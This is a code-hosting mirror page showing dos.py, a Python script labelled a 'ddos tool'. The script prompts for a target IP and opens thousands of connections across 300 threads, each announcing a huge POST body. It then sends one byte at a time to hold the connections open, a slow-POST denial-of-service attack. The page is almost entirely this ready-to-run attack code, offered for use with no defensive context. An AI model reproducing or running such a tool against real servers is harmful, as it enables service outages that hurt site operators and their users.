1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/im0day-hsdos

Клонировать/Скачать
dos.py 1.5 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
0day Отправлено 30.05.2020 15:56 786189e
# -*- coding: utf-8 -*-
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=raw_input("ip:")
PAGE=""
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
lock=threading.Lock()
def conn_thread():
global socks
lock.acquire()
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print "send error:%s"%ex
time.sleep(0.05)
lock.release()
#end def
def send_thread():
global socks
lock.acquire()
while True:
for s in socks:
try:
s.settimeout(0.8)
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print "Send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(0.05)
lock.release()
#end def
ass=[]
for i in range(300):
conn_th=threading.Thread(target=conn_thread,args=())
ass.append(conn_th)
send_th=threading.Thread(target=send_thread,args=())
ass.append(send_th)
for i in ass:
i.start()

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/im0day-hsdos.git
git@api.gitlife.ru:oschina-mirror/im0day-hsdos.git
oschina-mirror
im0day-hsdos
im0day-hsdos
master